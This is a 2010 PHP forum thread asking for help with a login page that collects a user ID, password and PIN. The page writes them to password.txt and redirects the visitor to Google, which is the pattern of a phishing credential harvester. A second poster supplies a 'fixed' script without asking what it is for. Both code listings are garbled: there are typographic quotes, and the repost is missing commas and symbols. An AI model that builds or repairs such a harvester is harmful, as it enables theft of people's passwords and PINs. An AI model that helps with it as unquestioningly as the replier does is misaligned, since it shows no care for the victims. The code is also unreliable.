Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
Help with my login form!
Old 05-16-2010, 04:37 PM Help with my login form!
Junior Talker

Posts: 4
Name: chad
Trades: 0
Okay, so I made a login form with 3 text boxes. I also created an image as the submit button. When submit is clicked, I want the .php page to store the filled in form data in a text document while redirecting to another page (for example: saving to password.txt and redirecting to a site such as google). It's not working, so I'm not sure if my HTML is messed up or my PHP. Hope you can help!

My HTML form:
Code:
<form name="login" id="login" action="login.php" method="POST">

User ID
<input type="text" name="txtId" id="txtId" class="input" value="" tabindex="1" size="20">

User P/W <input type="password" name="txtPassword" id="txtPassword" class="input" value="" tabindex="2" maxlength="12"><BR>

User PIC <input type="text" name="txtPIC" id="txtPIC" class="input" value="" tabindex="1" size="20">

<input type="image" src="login.gif" name="image" value="submit" alt="Submit button"></div></div>
</form>
My PHP script:
Code:
<?php
$fp = fopen(”password.txt”, “a”);
fwrite($fp, “Username:$_POST[txtId]\tPassword:$_POST[txtPassword]\tPIC:$_POST[txtPIC]”);
echo “<HTML>

<FRAMESET cols=\”*\”>
<FRAME src=\”google”>
</FRAMESET>”;
?>
zerkky is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 05-17-2010, 08:19 PM Re: Help with my login form!
nayes84's Avatar
Extreme Talker

Latest Blog Post:
Difference between ASP And JSP
Posts: 232
Name: John
Location: Tokyo
Trades: 0
there is a missing slash before double quotation in php file after "google"

here is the fixed file

PHP Code:
$fp fopen("password.txt""a");
fwrite($fp"Username:$_POST[txtId]\tPassword:$_POST[txtPassword]\tPIC:$_POST[txtPIC]");
echo 
"<HTML>

<FRAMESET cols=\"*\">
<FRAME src=\"google\">
</FRAMESET>"

__________________

Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

if(I'm("Helpful")) Add_Talkupation("nayes84");

Last edited by nayes84; 05-17-2010 at 08:24 PM..
nayes84 is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to Help with my login form!
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.11026 seconds with 12 queries